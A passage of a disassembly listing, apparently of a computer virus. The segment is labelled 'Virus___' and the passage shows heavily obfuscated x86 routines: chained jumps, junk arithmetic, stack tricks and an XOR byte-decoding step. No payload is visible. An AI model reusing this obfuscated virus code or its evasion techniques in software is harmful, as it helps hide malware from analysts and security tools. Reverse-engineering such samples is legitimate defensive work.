; ---------------------------------------------------------------------------


loc_545787:				; CODE XREF: sub_545A2B+40CBj
		pop	edi
		mov	ebp, edx
		jmp	loc_544856
; ---------------------------------------------------------------------------


loc_54578F:				; CODE XREF: sub_545A2B+3FC5j
		pop	ecx
		jmp	loc_5488EB
; ---------------------------------------------------------------------------


loc_545795:				; CODE XREF: sub_545A2B+5B33j
		push	ecx
		mov	cl, 98h
		shr	cl, 1
		inc	cl
		sub	cl, 0DBh
		add	dl, cl
		pop	ecx
		pop	ecx
		sub	bl, dl
		pop	edx
		add	al, bl
		pop	ebx
		jmp	loc_54AD36
; ---------------------------------------------------------------------------


loc_5457AE:				; CODE XREF: sub_545A2B+B7Dj
		xor	ebp, eax
		xor	eax, ebp
		not	ebp
		sub	esp, 4
		mov	[esp-1Eh+arg_1A], eax
		push	ebp
		push	[esp-1Ah+arg_16]
		push	[esp-16h+arg_12]
		jmp	loc_54BA8D
; ---------------------------------------------------------------------------


loc_5457C6:				; CODE XREF: sub_545A2B-1371j
		add	edx, edi
		add	edx, 2324207h
		add	edx, 44A96F22h
		xor	dword ptr [edx], 19217646h
		mov	edx, [esp-26h+arg_22]
		add	esp, 4
		jmp	loc_54BFBB
; ---------------------------------------------------------------------------


loc_5457E5:				; CODE XREF: sub_545A2B+8CFDj
		pop	eax
		pop	edi
		mov	ecx, ebp
		jmp	loc_54A4F2
; ---------------------------------------------------------------------------


loc_5457EE:				; CODE XREF: sub_545A2B-ECCj
		push	esp
		pop	edi
		jmp	loc_54BDD5
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_5457F5	proc near		; DATA XREF: Virus___:00542F08o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00543D0E SIZE 0000001E BYTES

		push	3F48h
		mov	[esp+4+var_4], ebx
		jmp	loc_543D0E
sub_5457F5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_545802:				; CODE XREF: sub_545A2B+160Dj
		push	[esp-14h+arg_E+2]
		mov	edx, [esp-10h+arg_A+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_548D17
; ---------------------------------------------------------------------------


loc_54581A:				; CODE XREF: sub_545A2B+2660j
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		add	edi, 4
		jmp	loc_544A2B
; ---------------------------------------------------------------------------


loc_54582E:				; CODE XREF: sub_545A2B-8ECj
		xor	al, dl
		push	[esp-3Ch+arg_36+2]
		pop	edx
		jmp	loc_5489AB
; ---------------------------------------------------------------------------


loc_545839:				; CODE XREF: sub_545A2B+212Fj
		push	esi
		jmp	loc_549FFB
; ---------------------------------------------------------------------------


loc_54583F:				; CODE XREF: sub_545A2B+6F05j
		xor	ecx, 14487FE0h
		or	ecx, 46A62F65h
		sub	ecx, 0AB547CBCh
		add	edx, ecx
		pop	ecx
		mov	ebx, edx
		jmp	loc_5436E5
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54585B	proc near		; CODE XREF: sub_545A2B+59C6j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0054F4B4 SIZE 00000012 BYTES

		push	ebp
		push	esi
		jmp	loc_54F4B4
sub_54585B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_545862:				; CODE XREF: sub_545A2B-16CCj
		mov	word ptr [esp-24h+arg_1E+2], cx
		push	small word ptr [esp-24h+arg_22]
		mov	cx, word ptr [esp-22h+arg_1E]
		add	esp, 2
		jmp	loc_5464FB
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_545877	proc near		; CODE XREF: sub_545A2B+91D0j

var_8		= dword	ptr -8

		push	ebx
		push	esi
		push	122F6E49h
		pop	esi
		xor	esi, 6C5238BDh
		mov	ebx, esi
		mov	esi, [esp+8+var_8]
		jmp	loc_54C62F
sub_545877	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54588F:				; CODE XREF: sub_545A2B+73C4j
		push	esi
		jmp	loc_54AE28
; ---------------------------------------------------------------------------


loc_545895:				; CODE XREF: sub_545A2B+6EEDj
		mov	eax, 6C538C0h
		add	edi, eax
		pop	eax
		add	edi, edx
		sub	edi, 6C538C0h
		push	ecx
		push	edx
		push	2DA01A9Ch
		pop	edx
		xor	edx, 38222F05h
		add	edx, 42B4111Fh
		add	edx, 73D573DDh
		jmp	loc_548CB4
; ---------------------------------------------------------------------------


loc_5458C4:				; CODE XREF: sub_545A2B+8C27j
		xor	[esp-1Eh+arg_1A], ecx
		xor	ecx, [esp-1Eh+arg_1A]
		mov	esp, [esp-1Eh+arg_1A]
		idiv	cl
		movzx	cx, ah
		push	small 3013h
		jmp	loc_54D12A
; ---------------------------------------------------------------------------


loc_5458DC:				; CODE XREF: sub_545A2B+2866j
		xchg	edi, ebx
		dec	ebx
		neg	ebx
		not	ebx
		sub	ebx, 694D2159h
		add	edx, ebx
		jmp	loc_54C4CA
; ---------------------------------------------------------------------------


loc_5458F0:				; CODE XREF: sub_545A2B+2A89j
		push	7958h
		mov	[esp-18h+arg_12+2], esp
		add	[esp-18h+arg_12+2], 4
		mov	ecx, [esp-18h+arg_12+2]
		add	esp, 4
		jmp	loc_54F0C0
; ---------------------------------------------------------------------------


loc_545907:				; CODE XREF: sub_545A2B+3ED2j
		movsx	ecx, al
		push	ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 2ED312E6h
		neg	eax
		neg	eax
		jmp	loc_547560
; ---------------------------------------------------------------------------


loc_54591C:				; CODE XREF: sub_545A2B+895Cj
		mov	edx, esp
		push	ecx
		push	eax
		push	18397B82h
		pop	eax
		sub	eax, 0AE791FEDh
		mov	ecx, eax
		jmp	loc_54D996
; ---------------------------------------------------------------------------


loc_545932:				; CODE XREF: sub_545A2B+56DAj
		mov	ebp, 0BFA7AE5h
		sub	ebp, 5A400C55h
		jmp	loc_544C64
; ---------------------------------------------------------------------------


loc_545942:				; CODE XREF: sub_545A2B-CEBj
		sub	ecx, 4D652033h
		xor	ecx, 0C88701Ah
		xor	ecx, 13695CD3h
		add	eax, ecx
		mov	ecx, [esp-16h+arg_12]
		add	esp, 4
		push	6376h
		mov	[esp-16h+arg_12], eax
		push	[esp-16h+arg_16]
		mov	eax, [esp-12h+arg_E]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54810A
; ---------------------------------------------------------------------------


loc_54597F:				; CODE XREF: sub_545A2B-3EBj
		add	bl, 65h
		sub	bl, cl
		jmp	loc_54AF64
; ---------------------------------------------------------------------------


loc_545989:				; CODE XREF: sub_545A2B+4419j
		shr	ah, 2
		shr	ah, 3
		sub	ah, 0D9h
		push	ebx
		mov	bh, ah
		mov	dl, bh
		pop	ebx
		mov	eax, [esp-10h+arg_A+2]
		add	esp, 4
		push	eax
		mov	al, 2Bh
		jmp	loc_549EFB
; ---------------------------------------------------------------------------


loc_5459A9:				; CODE XREF: sub_545A2B+4867j
		mov	edx, 2
		mov	eax, edx
		pop	edx
		sub	ebp, 34CB6635h
		add	ebp, eax
		jmp	loc_54ED3A
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5452D5


loc_5459BE:				; CODE XREF: sub_5452D5+9j
		push	ecx
		mov	ecx, 66B9345Ch
		mov	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		sub	ebp, ecx
		sub	ebp, 66B9345Ch
		pop	ecx
		sub	edx, ebp
		jmp	loc_549F02
; END OF FUNCTION CHUNK	FOR sub_5452D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5459DA:				; CODE XREF: sub_545A2B+2742j
		mov	edx, eax
		pop	eax
		mov	esi, 7F977F0Ah
		xor	esi, edx
		pop	edx
		add	edx, esi
		pop	esi
		xchg	edx, [esp-20h+arg_1A+2]
		mov	esp, [esp-20h+arg_1A+2]
		add	esp, 4
		push	edi
		push	ecx
		push	4AEEh
		jmp	loc_549433
; ---------------------------------------------------------------------------


loc_545A00:				; CODE XREF: sub_545A2B+42B8j
		push	eax
		pushf
		jmp	loc_5451BD
; ---------------------------------------------------------------------------


loc_545A07:				; CODE XREF: sub_545A2B+47Aj
		push	[esp-10h+arg_A+2]
		mov	eax, [esp+0]
		push	70CAh
		mov	[esp-8+arg_4], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_54AF95
; ---------------------------------------------------------------------------


loc_545A23:				; CODE XREF: sub_545A2B+5E7Bj
		shl	eax, 3
		jmp	loc_545645
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_545A2B	proc near		; DATA XREF: Virus___:00542DFCo

var_6A		= dword	ptr -6Ah
var_66		= dword	ptr -66h
var_62		= dword	ptr -62h
var_5E		= dword	ptr -5Eh
var_5A		= dword	ptr -5Ah
var_56		= dword	ptr -56h
var_52		= dword	ptr -52h
var_4E		= dword	ptr -4Eh
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= dword	ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_A		= dword	ptr  0Eh
arg_E		= dword	ptr  12h
arg_12		= dword	ptr  16h
arg_16		= dword	ptr  1Ah
arg_1A		= dword	ptr  1Eh
arg_1E		= dword	ptr  22h
arg_22		= dword	ptr  26h
arg_26		= dword	ptr  2Ah
arg_2A		= dword	ptr  2Eh
arg_2E		= dword	ptr  32h
arg_32		= dword	ptr  36h
arg_36		= dword	ptr  3Ah
arg_3A		= dword	ptr  3Eh
arg_3E		= dword	ptr  42h
arg_42		= dword	ptr  46h
arg_46		= dword	ptr  4Ah
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_5C		= dword	ptr  60h
arg_60		= dword	ptr  64h
arg_64		= dword	ptr  68h
arg_68		= dword	ptr  6Ch
arg_6C		= dword	ptr  70h
arg_70		= dword	ptr  74h
arg_74		= dword	ptr  78h
arg_78		= dword	ptr  7Ch
arg_80		= dword	ptr  84h

; FUNCTION CHUNK AT 00542F67 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 00542FDA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00542FF2 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0054303F SIZE 00000087 BYTES
; FUNCTION CHUNK AT 005430EB SIZE 00000067 BYTES
; FUNCTION CHUNK AT 005431AB SIZE 000000B8 BYTES
; FUNCTION CHUNK AT 00543281 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 005432F1 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00543326 SIZE 00000086 BYTES
; FUNCTION CHUNK AT 005433E1 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00543424 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00543452 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00543493 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 00543520 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0054353D SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00543577 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005435B1 SIZE 000000B2 BYTES
; FUNCTION CHUNK AT 005436A5 SIZE 0000006B BYTES
; FUNCTION CHUNK AT 0054374F SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0054378D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005437BC SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00543803 SIZE 0000006E BYTES
; FUNCTION CHUNK AT 0054387F SIZE 00000067 BYTES
; FUNCTION CHUNK AT 005438FC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00543919 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00543988 SIZE 00000070 BYTES
; FUNCTION CHUNK AT 00543A1D SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00543A51 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00543AB5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00543ADE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00543B05 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00543B22 SIZE 000000F8 BYTES
; FUNCTION CHUNK AT 00543C34 SIZE 00000054 BYTES
; FUNCTION CHUNK AT 00543C92 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00543CCB SIZE 00000043 BYTES
; FUNCTION CHUNK AT 00543D2C SIZE 0000004A BYTES
; FUNCTION CHUNK AT 00543D90 SIZE 00000091 BYTES
; FUNCTION CHUNK AT 00543E55 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00543EB1 SIZE 000000A9 BYTES
; FUNCTION CHUNK AT 00543F84 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00543FE0 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 00544055 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 005440D4 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00544129 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 00544191 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005441D6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005441F1 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00544241 SIZE 00000067 BYTES
; FUNCTION CHUNK AT 005442C7 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00544305 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00544391 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005443A1 SIZE 0000007C BYTES
; FUNCTION CHUNK AT 0054443D SIZE 00000044 BYTES
; FUNCTION CHUNK AT 00544496 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005444D4 SIZE 0000005E BYTES
; FUNCTION CHUNK AT 00544543 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0054459D SIZE 0000008F BYTES
; FUNCTION CHUNK AT 0054463B SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005446A6 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 00544705 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00544754 SIZE 0000017A BYTES
; FUNCTION CHUNK AT 005448DF SIZE 00000056 BYTES
; FUNCTION CHUNK AT 00544957 SIZE 00000078 BYTES
; FUNCTION CHUNK AT 005449E2 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00544A2B SIZE 000000E6 BYTES
; FUNCTION CHUNK AT 00544B2F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00544B4E SIZE 0000006B BYTES
; FUNCTION CHUNK AT 00544BCC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00544BE9 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00544C64 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00544CD0 SIZE 00000075 BYTES
; FUNCTION CHUNK AT 00544D90 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 00544DEF SIZE 0000004E BYTES
; FUNCTION CHUNK AT 00544E43 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00544E5A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00544E8B SIZE 0000006E BYTES
; FUNCTION CHUNK AT 00544F0E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00544F3C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00544FA2 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00544FE6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00545022 SIZE 00000081 BYTES
; FUNCTION CHUNK AT 005450AB SIZE 00000046 BYTES
; FUNCTION CHUNK AT 0054511C SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0054519B SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005451E1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00545223 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00545252 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00545289 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005452EB SIZE 00000087 BYTES
; FUNCTION CHUNK AT 0054539D SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005453EE SIZE 000000CC BYTES
; FUNCTION CHUNK AT 005454D2 SIZE 0000011C BYTES
; FUNCTION CHUNK AT 005455FF SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0054563D SIZE 0000005A BYTES
; FUNCTION CHUNK AT 005456B8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005456D1 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 00545741 SIZE 000000B4 BYTES
; FUNCTION CHUNK AT 00545802 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 00545862 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0054588F SIZE 0000012F BYTES
; FUNCTION CHUNK AT 005459DA SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0054C877 SIZE 000000E7 BYTES
; FUNCTION CHUNK AT 0054C969 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0054C98D SIZE 00000058 BYTES
; FUNCTION CHUNK AT 0054C9FC SIZE 00000142 BYTES
; FUNCTION CHUNK AT 0054CB4E SIZE 00000060 BYTES
; FUNCTION CHUNK AT 0054CBDE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0054CBF3 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0054CC24 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0054CC48 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0054CC59 SIZE 00000065 BYTES
; FUNCTION CHUNK AT 0054CCC8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0054CD29 SIZE 00000066 BYTES
; FUNCTION CHUNK AT 0054CD9B SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0054CDE5 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0054CE53 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0054CE85 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0054CEDC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0054CEF6 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0054CF2E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0054CF67 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0054CFA9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0054CFC5 SIZE 0000008F BYTES
; FUNCTION CHUNK AT 0054D05D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0054D0D8 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0054D123 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0054D175 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0054D1A2 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0054D1FC SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0054D249 SIZE 000000BD BYTES
; FUNCTION CHUNK AT 0054D349 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0054D369 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0054D39D SIZE 0000004E BYTES
; FUNCTION CHUNK AT 0054D409 SIZE 000000F9 BYTES
; FUNCTION CHUNK AT 0054D50D SIZE 00000052 BYTES
; FUNCTION CHUNK AT 0054D574 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 0054D5D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0054D5F5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0054D62A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0054D66C SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0054D6C6 SIZE 000000F0 BYTES
; FUNCTION CHUNK AT 0054D7C6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0054D800 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0054D83C SIZE 000000C8 BYTES
; FUNCTION CHUNK AT 0054D90A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0054D938 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0054D97D SIZE 0000009E BYTES
; FUNCTION CHUNK AT 0054DA26 SIZE 000000DB BYTES
; FUNCTION CHUNK AT 0054DB0F SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0054DB7D SIZE 000001DC BYTES
; FUNCTION CHUNK AT 0054DD7D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0054DDAD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0054DDD2 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0054DE0B SIZE 000000C0 BYTES
; FUNCTION CHUNK AT 0054DED1 SIZE 0000009D BYTES
; FUNCTION CHUNK AT 0054DFB6 SIZE 000000CE BYTES
; FUNCTION CHUNK AT 0054E095 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0054E0B0 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0054E0E5 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0054E139 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0054E191 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0054E1A6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0054E1CF SIZE 000000B8 BYTES
; FUNCTION CHUNK AT 0054E29F SIZE 000000B3 BYTES
; FUNCTION CHUNK AT 0054E37C SIZE 00000168 BYTES
; FUNCTION CHUNK AT 0054E4F6 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0054E554 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0054E5D3 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0054E63C SIZE 000000F1 BYTES
; FUNCTION CHUNK AT 0054E73C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0054E77C SIZE 0000008F BYTES
; FUNCTION CHUNK AT 0054E816 SIZE 0000011D BYTES
; FUNCTION CHUNK AT 0054E970 SIZE 00000146 BYTES
; FUNCTION CHUNK AT 0054EAC7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0054EAF6 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 0054EB5F SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0054EBA9 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0054EC18 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0054EC88 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0054ECD2 SIZE 000000E0 BYTES
; FUNCTION CHUNK AT 0054EDBD SIZE 000000E1 BYTES
; FUNCTION CHUNK AT 0054EEBE SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0054EF14 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0054EF42 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0054EFAA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0054EFC2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054EFD9 SIZE 0000009D BYTES
; FUNCTION CHUNK AT 0054F086 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0054F0AC SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0054F10C SIZE 000000C2 BYTES
; FUNCTION CHUNK AT 0054F1DC SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0054F242 SIZE 000000BC BYTES
; FUNCTION CHUNK AT 0054F316 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0054F36F SIZE 00000066 BYTES
; FUNCTION CHUNK AT 0054F3FB SIZE 000000B9 BYTES

		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		jmp	loc_54C85E
; ---------------------------------------------------------------------------


loc_545A3A:				; CODE XREF: sub_545A2B+1937j
		mov	esi, ecx
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		and	eax, esi
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_54458C
; ---------------------------------------------------------------------------


loc_545A50:				; DATA XREF: Virus___:00542D28o
		lodsb
		xor	al, bl
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		jmp	loc_54CFE9
; ---------------------------------------------------------------------------


loc_545A6E:				; CODE XREF: sub_545A2B+859Aj
		pop	eax
		jmp	loc_54D29C
; ---------------------------------------------------------------------------


loc_545A74:				; CODE XREF: sub_545A2B+3B56j
		pop	ecx
		push	eax
		push	2
		pop	eax
		add	edi, eax
		mov	eax, [esp-8+arg_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		push	[esp-4+arg_4]
		jmp	loc_549E8C
; ---------------------------------------------------------------------------


loc_545AA3:				; CODE XREF: Virus___:0054D7C1j
		push	edx
		push	esi
		mov	esi, 0BA05D6Ah
		jmp	loc_54BAB8
; ---------------------------------------------------------------------------


loc_545AAF:				; CODE XREF: sub_545A2B+EDBj
		inc	eax
		shr	eax, 4
		neg	eax
		jmp	loc_54B245
; ---------------------------------------------------------------------------


loc_545ABA:				; CODE XREF: sub_545A2B+20ADj
		mov	esi, 2
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5435E3
; ---------------------------------------------------------------------------


loc_545ACD:				; CODE XREF: sub_545A2B+3DA8j
		sub	bl, 0AFh
		sub	bl, ch
		add	bl, 0AFh
		sub	bl, 15h
		push	[esp+0Ch+var_C]
		pop	ecx
		add	esp, 4
		push	ax
		mov	ah, 7Eh
		add	ah, 4Fh
		add	ah, 2Eh
		sub	bl, ah
		pop	ax
		jmp	loc_542FF2
; ---------------------------------------------------------------------------


loc_545AF2:				; CODE XREF: sub_545A2B+5275j
		mov	edi, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54A285
; ---------------------------------------------------------------------------


loc_545B03:				; CODE XREF: sub_545A2B+2911j
		mov	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_545677
; ---------------------------------------------------------------------------


loc_545B14:				; CODE XREF: sub_545A2B+4D65j
		pop	ecx
		jmp	loc_547568
; ---------------------------------------------------------------------------


loc_545B1A:				; CODE XREF: sub_545A2B+67Cj
		mov	ecx, 12072C02h
		dec	ecx
		xor	ecx, 4B171C15h
		or	ecx, 75C35F5Eh
		neg	ecx
		jmp	loc_54E011
; ---------------------------------------------------------------------------


loc_545B33:				; DATA XREF: Virus___:00542E90o
		mov	ax, word ptr [esp+0Ch+var_C]
		push	ecx
		mov	ecx, esp
		jmp	loc_54C38A
; ---------------------------------------------------------------------------


loc_545B3F:				; CODE XREF: sub_545A2B+9199j
		push	ebx
		mov	bh, 85h
		jmp	loc_54848F
; ---------------------------------------------------------------------------


loc_545B47:				; CODE XREF: sub_545A2B-1982j
		push	2B82h
		mov	[esp-2Ah+arg_26], ebp
		mov	ebp, esp
		push	edi
		push	eax
		mov	eax, 7D7A29ACh
		jmp	loc_5474C1
; ---------------------------------------------------------------------------


loc_545B5D:				; CODE XREF: sub_545A2B+71Dj
		add	esp, 4
		push	ebp
		push	ebx
		push	6481h
		mov	[esp-1Ah+arg_16], eax
		mov	eax, 7D367DC3h
		mov	ebx, eax
		push	[esp-1Ah+arg_16]
		jmp	loc_54A74D
; ---------------------------------------------------------------------------


loc_545B79:				; CODE XREF: sub_545A2B+7A20j
		add	esi, edi
		pop	edi
		push	2437h
		mov	[esp-16h+arg_12], edi
		push	1D55h
		mov	[esp-12h+arg_E], edx
		jmp	loc_546C4A
; ---------------------------------------------------------------------------


loc_545B91:				; CODE XREF: sub_545A2B-5D5j
		mov	edi, 3B4D1533h
		jmp	loc_544754
; ---------------------------------------------------------------------------


loc_545B9B:				; CODE XREF: sub_545A2B-96Fj
		pop	esp
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_545BA1:				; CODE XREF: sub_545A2B+5440j
		mov	edi, [esp-44h+arg_3E+2]
		jmp	loc_5441A6
; ---------------------------------------------------------------------------


loc_545BA9:				; CODE XREF: sub_545A2B+7052j
		shr	eax, 1
		sub	eax, 0FFFFFFFFh
		sub	eax, 0E2B41E48h
		jmp	loc_54B933
; ---------------------------------------------------------------------------


loc_545BB8:				; CODE XREF: sub_545A2B-599j
		add	esp, 4
		push	7C23h
		mov	[esp-30h+arg_2A+2], edi
		mov	edi, 6CB6666Dh
		and	edi, 5C144B91h
		and	edi, 344728Fh
		jmp	loc_547401
; ---------------------------------------------------------------------------


loc_545BD9:				; CODE XREF: sub_545A2B+3C9Bj
		sub	ebx, 1E8D28C2h
		push	eax
		mov	eax, 49A94CD6h
		sub	ebx, eax
		pop	eax
		add	ebx, edi
		jmp	sub_543A46
; ---------------------------------------------------------------------------


loc_545BEF:				; CODE XREF: sub_545A2B+2835j
		shl	ch, 6
		shr	ch, 3
		xor	ch, 0Fh
		jmp	loc_545741
; ---------------------------------------------------------------------------


loc_545BFD:				; CODE XREF: sub_545A2B+3F16j
		add	edi, 667D208Ah
		and	edi, 2A943E93h
		add	edi, 0F7FFC5F1h
		sub	ebx, 48C50EAh
		add	ebx, edi
		add	ebx, 48C50EAh
		mov	edi, [esp-30h+arg_2A+2]
		add	esp, 4
		jmp	loc_5475D8
